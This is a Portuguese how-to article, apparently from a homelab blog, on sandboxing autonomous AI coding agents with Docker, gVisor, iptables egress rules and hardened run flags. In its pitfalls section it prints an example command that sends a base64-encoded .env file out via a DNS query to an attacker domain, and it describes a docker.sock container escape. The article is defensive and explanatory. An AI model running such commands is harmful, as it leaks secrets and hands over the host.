Umbrel
EN

Como Isolar Agentes de IA no Docker: Guia do Sandbox Kit

Aprenda a executar código não confiável e isolar agentes de IA no Docker usando a Sandbox Kit Spec v3 para proteger seu homelab contra invasões.

Áudio Narrado Ouça este artigo
00:00 / 00:00

Agentes autônomos de IA para programação instalam pacotes sem validação, rodam scripts bash arbitrários e executam baterias de testes sem qualquer revisão humana. Se você entregar um container Docker sem restrições para ferramentas como OpenHands ou Aider no servidor do seu homelab, basta um comando curl | bash suspeito ou uma injeção de prompt para um invasor escanear sua rede local, acessar compartilhamentos internos ou pular para outros containers no mesmo host.

A resposta da Docker para esse problema é a Docker Sandbox Kit Specification (v3). Em vez de depender de scripts externos mirabolantes, regras manuais de firewall ou redes customizadas no Docker Compose, essa especificação define regras de isolamento — limites de tráfego de saída (egress), montagens de volume em modo somente leitura e isolamento de credenciais — diretamente dentro dos manifestos padrão da OCI (Open Container Initiative) Image Spec v1.1.

Distribuir políticas de sandbox diretamente na imagem torna a execução previsível em qualquer máquina. Só que uma regra anotada no manifesto da imagem não equivale a uma barreira real de kernel. Se você fizer o deploy dessas imagens usando o runtime padrão do Docker em um servidor Linux headless, seu sistema operacional continua exposto a escapes de container.

Abaixo, você entende como o Sandbox Kit funciona por baixo do capô, como os manifestos OCI armazenam essas regras e como estruturar uma barreira real no nível do kernel Linux para executar código não confiável no Docker com segurança.


O que mudou: políticas como artefatos OCI

Antes, proteger um container exigia envelopar um Dockerfile comum com ferramentas externas. Você precisava manter perfis de seccomp dedicados, criar redes bridge isoladas, injetar variáveis de ambiente via gerenciadores de segredos e escrever regras complexas de iptables.

O grande problema era a distribuição: nenhuma dessas travas vivia dentro da imagem do container. Se outra pessoa ou outro servidor baixasse sua imagem e executasse um simples docker run, todas essas camadas de proteção ficavam para trás.

A especificação Docker Sandbox Kit v3 transforma essas regras de isolamento em artefatos OCI de primeira classe. Baseada na OCI Image Specification v1.1.0, ela embute parâmetros de isolamento diretamente no manifesto da imagem através de tipos de mídia customizados.

Veja a estrutura de um manifesto OCI empacotado com as anotações da Sandbox Kit v3:

{ "schemaVersion": 2, "mediaType": "application/vnd.oci.image.manifest.v1+json", "config": { "mediaType": "application/vnd.docker.sandbox.config.v1+json", "digest": "sha256:7f83b1657ff1fc53b92dc18148a1d65dfc2d4b1fa3d677284addd200126d9069", "size": 1420 }, "layers": [ { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:32953133b0e42735746f04d8a0c4f6b67", "size": 28450112 } ], "annotations": { "dev.docker.sandbox.version": "3.0.0", "dev.docker.sandbox.egress.policy": "restricted" } }

O ponto principal aqui é o bloco de configuração (application/vnd.docker.sandbox.config.v1+json). Dentro dessa camada, a especificação define três limites operacionais:

1. Listas de permissão de saída de rede (Egress)

Em vez de soltar o container em uma rede bridge padrão com acesso irrestrito à internet e à rede local, a sandbox adota uma postura de descarte padrão (drop-all). Você declara uma lista explícita de domínios e portas de destino permitidos — como github.com:443 ou registry.npmjs.org:443. Qualquer conexão para hostnames fora da lista, endereços IP diretos ou sub-redes privadas é bloqueada na camada de rede antes de sair do host.

2. Proxy de credenciais

Containers normais recebem chaves de API via variáveis de ambiente em texto puro. Qualquer dependência maliciosa, script de build duvidoso ou agente em modo debug que rode printenv ou leia /proc/self/environ consegue roubar esses tokens.

O Sandbox Kit joga o tratamento de credenciais para fora do container. As chaves de API ficam sob a guarda de um processo proxy no host. O container só ganha acesso a esse proxy por meio de um socket temporário UNIX. Quando o agente de IA faz uma chamada para a OpenAI ou Anthropic, o proxy intercepta a requisição, insere o header de autenticação e repassa a chamada. O agente em execução nunca tem contato visual com o segredo.

3. Limites de armazenamento (Filesystem)

O espaço de trabalho do container é dividido entre arquivos temporários e código persistido:

  • Sistema de arquivos base: Montado em modo somente leitura (read-only) para impedir o agente de alterar binários do sistema ou injetar scripts para ganhar persistência.
  • Diretório temporário (scratch): Atrelado a um tmpfs (disco em memória RAM) de tamanho limitado, que desaparece assim que o container é desligado.
  • Repositório de código: Montado com caminhos estritamente delimitados, impedindo o agente de navegar diretórios acima ou gravar dados em pastas não autorizadas do host.

Quando um motor de containers compatível com o Sandbox Kit baixa essa imagem, ele processa a camada de configuração e aplica essas regras antes mesmo do processo principal iniciar. Essa leitura do manifesto é rápida, adicionando menos de 15 ms ao tempo de inicialização.


Por que o runc não vai proteger seu host

Muita gente confunde "política de sandbox" com "máquina virtual". São coisas totalmente diferentes.

As instalações padrão do Docker usam o runc como runtime OCI padrão. O runc depende puramente dos recursos nativos do kernel Linux: namespaces, grupos de controle (cgroups v2) e filtros de chamadas de sistema seccomp. Embora essas ferramentas mantenham processos bem-comportados separados, elas compartilham o mesmo kernel do host.

+--------------------------------------------------------------+
|                     Agente de IA Inseguro                    |
|             (Pacote pip ou npm comprometido)                 |
+--------------------------------------------------------------+
                               |
              Chamadas de Sistema Linux Arbitrárias
                               |
                               v
+--------------------------------------------------------------+
|                  Kernel Compartilhado do Host                |
|        (Vulnerável a bugs de elevação de privilégio)         |
+--------------------------------------------------------------+
                               |
                               v
+--------------------------------------------------------------+
|             Filesystem do Host / Rede Local (LAN)            |
+--------------------------------------------------------------+

Se um agente rodar código que explore uma falha no kernel ou um bug no runtime de containers, os namespaces tradicionais não oferecem resistência suficiente.

Um exemplo clássico foi a CVE-2024-21626 (a vulnerabilidade "Leaky Vessels" no runc). Um invasor conseguia explorar um descritor de arquivo aberto que apontava para o sistema de arquivos do host a partir de dentro do container, obtendo acesso root à máquina física. Se um agente de IA executa código malicioso dentro de um container runc comum, uma única falha de kernel não corrigida compromete todo o seu servidor.

Para rodar código não confiável sem arriscar seu ambiente, você precisa unir as regras de manifesto com uma camada de virtualização real ou com um kernel de aplicação como o gVisor (runsc).

Recurso de Isolamento Docker Padrão (runc) Sandbox Kit + gVisor (runsc) MicroVM (Firecracker)
Modelo de Kernel Kernel do host compartilhado Interceptado (Kernel Sentry em user-space) Kernel Linux convidado dedicado
Segurança para código inseguro Baixa (vulnerável a zero-days de kernel) Alta (chamadas de sistema interceptadas) Virtualização isolada por hardware
Latência de inicialização ~50ms a 100ms ~70ms a 120ms ~150ms a 300ms
Consumo base de RAM Mínimo (15–30MB ocioso) Imagem base + ~35MB Imagem base + 100MB+
Complexidade de setup Nula (já vem por padrão) Baixa (um pacote + ajuste no daemon) Alta (requer ferramentas de hypervisor)
Execução Rootless Suportada Suportada Requer acesso direto ao /dev/kvm

O gVisor funciona como uma barreira em espaço de usuário (user-space). Em vez de entregar chamadas de sistema como execve, ptrace ou socket diretamente ao kernel do Linux, o runtime runsc do gVisor intercepta tudo dentro de um processo isolado chamado Sentry. O Sentry recria a API do kernel Linux em user-space (escrito em Go), blindando o kernel do seu host contra payloads maliciosos.


Como rodar o isolamento sandbox em um servidor Linux

Você não precisa do Docker Desktop para aplicar essas proteções. É possível obter o mesmo nível de segurança em um servidor Linux headless rodando Ubuntu 22.04/24.04 ou Debian 12 com Docker Engine 26+, cgroups v2 e gVisor.

1. Instale e configure o gVisor (runsc)

Adicione o repositório oficial do gVisor e instale o pacote do runtime:

# Adiciona a chave de assinatura do repositório gVisor
sudo apt-get update && sudo apt-get install -y apt-transport-https ca-certificates curl
curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/gvisor-archive-keyring.gpg] https://gvisor.dev/apt release main" | sudo tee /etc/apt/sources.list.d/gvisor.list

# Instala o runsc
sudo apt-get update && sudo apt-get install -y runsc

Cadastre o runsc como um runtime alternativo dentro de /etc/docker/daemon.json:

sudo tee /etc/docker/daemon.json <<EOF
{
  "runtimes": {
    "runsc": {
      "path": "/usr/bin/runsc"
    }
  }
}
EOF

# Reinicia o serviço do Docker
sudo systemctl restart docker

Confirme se o Docker reconheceu o novo runtime:

docker info | grep -i runsc

Você deverá ver o runsc listado ao lado do runc.

2. Bloqueie o tráfego de saída da rede

Enquanto o suporte aos manifestos da Sandbox Kit segue em expansão nos motores Linux, você pode reproduzir exatamente a mesma política de restrição de rede usando redes bridge normais e regras de firewall com iptables.

Crie uma rede bridge isolada para os agentes de IA:

docker network create --driver bridge agent-isolated-net

Descubra o identificador da interface dessa bridge no host:

BR_DEV=$(docker network inspect agent-isolated-net -f '{{.Id}}' | cut -c1-12)
echo "Interface da Bridge: br-$BR_DEV"

Aplique as regras de firewall via iptables para impedir o container de falar com sub-redes privadas (RFC 1918), endereços de loopback ou faixas link-local:

# Bloqueia pacotes de saída destinados a redes privadas internas
sudo iptables -I FORWARD -i br-$BR_DEV -d 10.0.0.0/8 -j DROP
sudo iptables -I FORWARD -i br-$BR_DEV -d 172.16.0.0/12 -j DROP
sudo iptables -I FORWARD -i br-$BR_DEV -d 192.168.0.0/16 -j DROP
sudo iptables -I FORWARD -i br-$BR_DEV -d 169.254.0.0/16 -j DROP
sudo iptables -I FORWARD -i br-$BR_DEV -d 127.0.0.0/8 -j DROP

Com essa barreira ativa, o agente consegue baixar dependências da internet pública (como pacotes do npm ou PyPI), mas não consegue se comunicar com o seu roteador em 192.168.1.1, acessar seu storage TrueNAS ou inspecionar outros containers vizinhos.

3. Faça o deploy do container seguro para o agente

Agora, inicie o container usando o runtime runsc, removendo todas as capabilities do Linux e montando a raiz do sistema como somente leitura:

# Cria uma pasta limpa no host para o trabalho do agente
mkdir -p ./workspace

# Roda o container com as camadas de proteção aplicadas
docker run --rm -it \
  --runtime=runsc \
  --network=agent-isolated-net \
  --dns=1.1.1.1 \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \
  -v $(pwd)/workspace:/workspace:rw \
  -w /workspace \
  python:3.11-slim-bookworm /bin/bash

Entenda o papel de cada parâmetro nesse comando:

  • --runtime=runsc: Força todas as chamadas de sistema do processo a passarem pelo kernel em user-space do gVisor, sem tocar o kernel do host.
  • --network=agent-isolated-net: Conecta o container à nossa bridge monitorada pelo firewall.
  • --dns=1.1.1.1: Aponta a resolução de nomes diretamente para um servidor público, impedindo que o container consulte seu servidor DNS interno ou Pi-hole.
  • --cap-drop=ALL: Remove todos os privilégios root do Linux (nada de abrir sockets puros, mudar permissão de dono de arquivos ou carregar módulos de kernel).
  • --security-opt=no-new-privileges: Impede que binários com flag setuid elevem privilégios.
  • --read-only: Trava o sistema de arquivos base do container. O agente não consegue editar arquivos do sistema nem criar scripts de inicialização.
  • --tmpfs /tmp:rw,noexec,nosuid,size=64m: Reserva 64 MB em memória RAM para arquivos de rascunho. O parâmetro noexec impede a execução de scripts ou binários compilados a partir de /tmp.
  • -v $(pwd)/workspace:/workspace:rw: Isola as alterações em disco estritamente ao diretório do projeto.

4. Valide o isolamento na prática

Assim que o shell do container abrir, teste os limites configurados:

# Teste 1: Veja se o gVisor está interceptando as chamadas (deve retornar gVisor ou 4.4.0-gvisor)
dmesg

# Teste 2: Tente escrever na raiz que está como somente leitura (deve falhar)
touch /bin/exploit

# Teste 3: Tente escanear o gateway da sua rede local (deve travar ou tomar timeout)
curl --connect-timeout 2 http://192.168.1.1

# Teste 4: Verifique se a internet aberta funciona normalmente para baixar código
curl -I https://github.com

Se a chamada para o IP interno expirar, a gravação na pasta /bin for negada e a conexão com o GitHub funcionar com sucesso, sua sandbox está operando com as travas corretas.


O que quebra na prática: armadilhas reais

A armadilha do Docker socket

Quando os desenvolvedores percebem que o agente de IA precisa rodar testes de integração, o atalho mais comum é montar o socket do host: -v /var/run/docker.sock:/var/run/docker.sock.

Nunca faça isso. Dar acesso ao socket do Docker equivale a entregar o controle total da API do Docker daemon para o processo. O agente pode simplesmente subir um container privilegiado montando o disco todo com -v /:/host, ignorar todas as regras de sandbox que você definiu e assumir o controle do servidor. Se o agente precisar construir imagens ou rodar testes com containers, use Podman em modo rootless dentro da sandbox ou orquestre os testes em uma máquina virtual descartável e isolada.

Vazamento de dados via consultas DNS

Bloquear faixas de IP cuida do tráfego TCP e UDP direto, mas um DNS sem supervisão ainda permite extração de informações. Se o container consultar o roteador do seu homelab ou um Pi-hole local, um script malicioso consegue codificar credenciais dentro de consultas DNS:

curl $(cat /workspace/.env | base64).dominio-do-invasor.com

O seu resolvedor local encaminha essa consulta recursiva até os servidores raiz, entregando o conteúdo dos seus segredos para o invasor sem nunca abrir uma conexão TCP direta. Sempre declare um DNS externo de forma explícita com --dns=1.1.1.1 ou --dns=9.9.9.9.

Falhas de controle no cgroups v1

Confira se o seu sistema operacional está utilizando cgroups v2:

ls /sys/fs/cgroup/cgroup.controllers

Se essa pasta não existir, seu host ainda usa a hierarquia legada do cgroups v1. Na versão 1, limites de memória e controle de processos filhos costumam falhar ao lidar com processos aninhados (gerando comportamentos imprevisíveis de Out of Memory - OOM). Distribuições modernas como Ubuntu 22.04+ e Debian 12 vêm com cgroups v2 ativado por padrão.

Esgotamento de memória com tmpfs solto

Usar a flag --tmpfs /tmp:rw sem fixar um limite de size permite que essa partição em RAM consuma até 50% de toda a memória física da sua máquina. Se o agente de IA entrar em um loop gerando builds infinitos ou logs pesados em /tmp, ele vai derrubar o host por falta de memória RAM. Trave sempre com limites seguros, como size=64m ou size=128m.


Perguntas frequentes

O que é a especificação Docker Sandbox Kit?

É uma especificação aberta (atualmente na v3) que padroniza o empacotamento de regras de isolamento — como bloqueio de tráfego de saída, proxies externos de credenciais e limites de escrita em disco — dentro de manifestos OCI Image Spec v1.1. Isso torna as regras de segurança portáteis entre diferentes ambientes compatíveis.

Como o Sandbox Kit protege contra código não confiável de agentes de IA?

Ele barra a comunicação com sub-redes privadas RFC 1918, permitindo conexões apenas para domínios autorizados. O sistema também impede o acesso direto a chaves de API roteando chamadas por um proxy via sockets UNIX e trava o sistema de arquivos base em modo somente leitura com suporte a partições temporárias em RAM.

O Sandbox Kit funciona apenas no Docker Desktop ou roda em servidores Linux?

A especificação é agnóstica em relação ao motor de execução. Embora o Docker Desktop tenha sido o primeiro a trazer telas visuais para o recurso, os manifestos padrão OCI podem ser consumidos em servidores Linux headless utilizando Docker Engine 26+ ou containerd 1.7+.

Sandboxes do Docker substituem o gVisor ou microVMs como o Firecracker?

Não. O Docker Sandbox Kit serve para declarar políticas — ele diz quais regras devem existir. A execução dessas regras fica a cargo do runtime. Como o Docker tradicional usa o runc e compartilha o kernel do host, você precisa unir as políticas do Sandbox Kit a um runtime como gVisor (runsc) ou a microVMs como o Firecracker para se defender de ataques que tentem explorar o kernel.

Como ter certeza de que o gVisor está interceptando as chamadas de sistema?

Entre no container em execução e rode dmesg ou uname -a. Em um container padrão, você verá o kernel exato da máquina hospedeira (ex: Linux 6.8.0-45-generic). Sob o gVisor, o comando uname -r exibe explicitamente uma assinatura com gvisor ou algo no formato emulado 4.4.0-gvisor.


A especificação Docker Sandbox Kit v3 resolve muito bem a organização e o transporte de políticas de segurança dentro das imagens. Mas lembre-se: um manifesto de imagem é apenas um arquivo de instruções, não uma barreira intransponível. Combine o isolamento de rede com bridge dedicada, remova privilégios desnecessários com --cap-drop=ALL e rode o container sobre o runtime runsc do gVisor antes de soltar qualquer agente de IA autônomo para compilar e testar código no seu servidor.

Conteúdos relacionados

  • /en/posts/cursor-xai-vs-local-llms-privacy-guide-for-homelabs/
  • /en/posts/docker-sandboxes-secure-isolation-for-autonomous-ai-agents/
  • /en/posts/headless-macos-server-setup-udon-mac-mini-homelab/

Relacionados neste cluster

  • /pt/posts/como-isolar-agentes-ia-docker/
  • /pt/posts/como-isolar-containers-docker-seguranca/
  • /pt/posts/como-transformar-mac-mini-em-servidor-caseiro/